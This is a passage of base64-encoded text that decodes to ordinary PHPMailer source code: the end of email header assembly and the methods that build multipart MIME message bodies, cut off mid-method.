0+aGVhZGVyTGluZSgnTWVzc2FnZS1JRCcsICR0aGlzLT5sYXN0TWVzc2FnZUlEKTsNCiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsNCiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtUHJpb3JpdHknLCAkdGhpcy0+UHJpb3JpdHkpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgew0KICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgNCiAgICAgICAgICAgICAgICAnWC1NYWlsZXInLA0KICAgICAgICAgICAgICAgICdQSFBNYWlsZXIgJyAuICR0aGlzLT5WZXJzaW9uIC4gJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIpJw0KICAgICAgICAgICAgKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsNCiAgICAgICAgICAgIGlmICgkbXlYbWFpbGVyKSB7DQogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1NYWlsZXInLCAkbXlYbWFpbGVyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgew0KICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnRGlzcG9zaXRpb24tTm90aWZpY2F0aW9uLVRvJywgJzwnIC4gJHRoaXMtPkNvbmZpcm1SZWFkaW5nVG8gLiAnPicpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gQWRkIGN1c3RvbSBoZWFkZXJzDQogICAgICAgIGZvcmVhY2ggKCR0aGlzLT5DdXN0b21IZWFkZXIgYXMgJGhlYWRlcikgew0KICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgNCiAgICAgICAgICAgICAgICB0cmltKCRoZWFkZXJbMF0pLA0KICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIodHJpbSgkaGVhZGVyWzFdKSkNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCEkdGhpcy0+c2lnbl9rZXlfZmlsZSkgew0KICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnTUlNRS1WZXJzaW9uJywgJzEuMCcpOw0KICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEdldCB0aGUgbWVzc2FnZSBNSU1FIHR5cGUgaGVhZGVycy4NCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEByZXR1cm4gc3RyaW5nDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGdldE1haWxNSU1FKCkNCiAgICB7DQogICAgICAgICRyZXN1bHQgPSAnJzsNCiAgICAgICAgJGlzbXVsdGlwYXJ0ID0gdHJ1ZTsNCiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7DQogICAgICAgICAgICBjYXNlICdpbmxpbmUnOg0KICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsNCiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoNCiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOg0KICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6DQogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6DQogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9taXhlZDsnKTsNCiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAnYWx0JzoNCiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOg0KICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7DQogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgLy8gQ2F0Y2hlcyBjYXNlICdwbGFpbic6IGFuZCBjYXNlICcnOg0KICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCdDb250ZW50LVR5cGU6ICcgLiAkdGhpcy0+Q29udGVudFR5cGUgLiAnOyBjaGFyc2V0PScgLiAkdGhpcy0+Q2hhclNldCk7DQogICAgICAgICAgICAgICAgJGlzbXVsdGlwYXJ0ID0gZmFsc2U7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZA0KICAgICAgICBpZiAoJHRoaXMtPkVuY29kaW5nICE9ICc3Yml0Jykgew0KICAgICAgICAgICAgLy8gUkZDIDIwNDUgc2VjdGlvbiA2LjQgc2F5cyBtdWx0aXBhcnQgTUlNRSBwYXJ0cyBtYXkgb25seSB1c2UgN2JpdCwgOGJpdCBvciBiaW5hcnkgQ1RFDQogICAgICAgICAgICBpZiAoJGlzbXVsdGlwYXJ0KSB7DQogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5FbmNvZGluZyA9PSAnOGJpdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZycsICc4Yml0Jyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vIFRoZSBvbmx5IHJlbWFpbmluZyBhbHRlcm5hdGl2ZXMgYXJlIHF1b3RlZC1wcmludGFibGUgYW5kIGJhc2U2NCwgd2hpY2ggYXJlIGJvdGggN2JpdCBjb21wYXRpYmxlDQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkdGhpcy0+RW5jb2RpbmcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7DQogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFJldHVybnMgdGhlIHdob2xlIE1JTUUgbWVzc2FnZS4NCiAgICAgKiBJbmNsdWRlcyBjb21wbGV0ZSBoZWFkZXJzIGFuZCBib2R5Lg0KICAgICAqIE9ubHkgdmFsaWQgcG9zdCBwcmVTZW5kKCkuDQogICAgICogQHNlZSBQSFBNYWlsZXI6OnByZVNlbmQoKQ0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U2VudE1JTUVNZXNzYWdlKCkNCiAgICB7DQogICAgICAgIHJldHVybiBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLCAiXG5cciIpIC4gc2VsZjo6Q1JMRiAuIHNlbGY6OkNSTEYgLiAkdGhpcy0+TUlNRUJvZHk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ3JlYXRlIHVuaXF1ZSBJRA0KICAgICAqIEByZXR1cm4gc3RyaW5nDQogICAgICovDQogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGdlbmVyYXRlSWQoKSB7DQogICAgICAgIHJldHVybiBtZDUodW5pcWlkKHRpbWUoKSkpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFzc2VtYmxlIHRoZSBtZXNzYWdlIGJvZHkuDQogICAgICogUmV0dXJucyBhbiBlbXB0eSBzdHJpbmcgb24gZmFpbHVyZS4NCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uDQogICAgICogQHJldHVybiBzdHJpbmcgVGhlIGFzc2VtYmxlZCBtZXNzYWdlIGJvZHkNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpDQogICAgew0KICAgICAgICAkYm9keSA9ICcnOw0KICAgICAgICAvL0NyZWF0ZSB1bmlxdWUgSURzIGFuZCBwcmVzZXQgYm91bmRhcmllcw0KICAgICAgICAkdGhpcy0+dW5pcXVlaWQgPSAkdGhpcy0+Z2VuZXJhdGVJZCgpOw0KICAgICAgICAkdGhpcy0+Ym91bmRhcnlbMV0gPSAnYjFfJyAuICR0aGlzLT51bmlxdWVpZDsNCiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzJdID0gJ2IyXycgLiAkdGhpcy0+dW5pcXVlaWQ7DQogICAgICAgICR0aGlzLT5ib3VuZGFyeVszXSA9ICdiM18nIC4gJHRoaXMtPnVuaXF1ZWlkOw0KDQogICAgICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgew0KICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldE1haWxNSU1FKCkgLiAkdGhpcy0+TEU7DQogICAgICAgIH0NCg0KICAgICAgICAkdGhpcy0+c2V0V29yZFdyYXAoKTsNCg0KICAgICAgICAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOw0KICAgICAgICAkYm9keUNoYXJTZXQgPSAkdGhpcy0+Q2hhclNldDsNCiAgICAgICAgLy9DYW4gd2UgZG8gYSA3LWJpdCBkb3duZ3JhZGU/DQogICAgICAgIGlmICgkYm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkJvZHkpKSB7DQogICAgICAgICAgICAkYm9keUVuY29kaW5nID0gJzdiaXQnOw0KICAgICAgICAgICAgLy9BbGwgSVNPIDg4NTksIFdpbmRvd3MgY29kZXBhZ2UgYW5kIFVURi04IGNoYXJzZXRzIGFyZSBhc2NpaSBjb21wYXRpYmxlIHVwIHRvIDctYml0DQogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOw0KICAgICAgICB9DQogICAgICAgIC8vSWYgbGluZXMgYXJlIHRvbyBsb25nLCBhbmQgd2UncmUgbm90IGFscmVhZHkgdXNpbmcgYW4gZW5jb2RpbmcgdGhhdCB3aWxsIHNob3J0ZW4gdGhlbSwNCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGJvZHkgcGFydCBvbmx5DQogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkdGhpcy0+RW5jb2RpbmcgYW5kIHNlbGY6Omhhc0xpbmVMb25nZXJUaGFuTWF4KCR0aGlzLT5Cb2R5KSkgew0KICAgICAgICAgICAgJGJvZHlFbmNvZGluZyA9ICdxdW90ZWQtcHJpbnRhYmxlJzsNCiAgICAgICAgfQ0KDQogICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAkdGhpcy0+RW5jb2Rpbmc7DQogICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0Ow0KICAgICAgICAvL0NhbiB3ZSBkbyBhIDctYml0IGRvd25ncmFkZT8NCiAgICAgICAgaWYgKCRhbHRCb2R5RW5jb2RpbmcgPT0gJzhiaXQnIGFuZCAhJHRoaXMtPmhhczhiaXRDaGFycygkdGhpcy0+QWx0Qm9keSkpIHsNCiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAnN2JpdCc7DQogICAgICAgICAgICAvL0FsbCBJU08gODg1OSwgV2luZG93cyBjb2RlcGFnZSBhbmQgVVRGLTggY2hhcnNldHMgYXJlIGFzY2lpIGNvbXBhdGlibGUgdXAgdG8gNy1iaXQNCiAgICAgICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICd1cy1hc2NpaSc7DQogICAgICAgIH0NCiAgICAgICAgLy9JZiBsaW5lcyBhcmUgdG9vIGxvbmcsIGFuZCB3ZSdyZSBub3QgYWxyZWFkeSB1c2luZyBhbiBlbmNvZGluZyB0aGF0IHdpbGwgc2hvcnRlbiB0aGVtLA0KICAgICAgICAvL2NoYW5nZSB0byBxdW90ZWQtcHJpbnRhYmxlIHRyYW5zZmVyIGVuY29kaW5nIGZvciB0aGUgYWx0IGJvZHkgcGFydCBvbmx5DQogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkYWx0Qm9keUVuY29kaW5nIGFuZCBzZWxmOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+QWx0Qm9keSkpIHsNCiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7DQogICAgICAgIH0NCiAgICAgICAgLy9Vc2UgdGhpcyBhcyBhIHByZWFtYmxlIGluIGFsbCBtdWx0aXBhcnQgbWVzc2FnZSB0eXBlcw0KICAgICAgICAkbWltZXByZSA9ICJUaGlzIGlzIGEgbXVsdGktcGFydCBtZXNzYWdlIGluIE1JTUUgZm9ybWF0LiIgLiAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7DQogICAgICAgIHN3aXRjaCAoJHRoaXMtPm1lc3NhZ2VfdHlwZSkgew0KICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzFdKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ2F0dGFjaCc6DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJycsICRib2R5RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdhdHRhY2htZW50JywgJHRoaXMtPmJvdW5kYXJ5WzFdKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ2FsdCc6DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGFsdEJvZHlDaGFyU2V0LCAndGV4dC9wbGFpbicsICRhbHRCb2R5RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYm9keUNoYXJTZXQsICd0ZXh0L2h0bWwnLCAkYm9keUVuY29kaW5nKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7DQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+SWNhbCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2NhbGVuZGFyOyBtZXRob2Q9UkVRVUVTVCcsICcnKTsNCiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+SWNhbCwgJHRoaXMtPkVuY29kaW5nKTsNCiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOg0KICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOg0KICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9hbHRlcm5hdGl2ZTsnKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJGFsdEJvZHlDaGFyU2V0LCAndGV4dC9wbGFpbicsICRhbHRCb2R5RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYm9keUNoYXJTZXQsICd0ZXh0L2h0bWwnLCAkYm9keUVuY29kaW5nKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOg0KICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9hbHRlcm5hdGl2ZTsnKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJGFsdEJvZHlDaGFyU2V0LCAndGV4dC9wbGFpbicsICRhbHRCb2R5RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsyXSk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzNdIC4gJyInKTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7DQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0pOw0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdhdHRhY2htZW50JywgJHRoaXMtPmJvdW5kYXJ5WzFdKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgLy8gQ2F0Y2ggY2FzZSAncGxhaW4nIGFuZCBjYXNlICcnLCBhcHBsaWVzIHRvIHNpbXBsZSBgdGV4dC9wbGFpbmAgYW5kIGB0ZXh0L2h0bWxgIGJvZHkgY29udGVudCB0eXBlcw0KICAgICAgI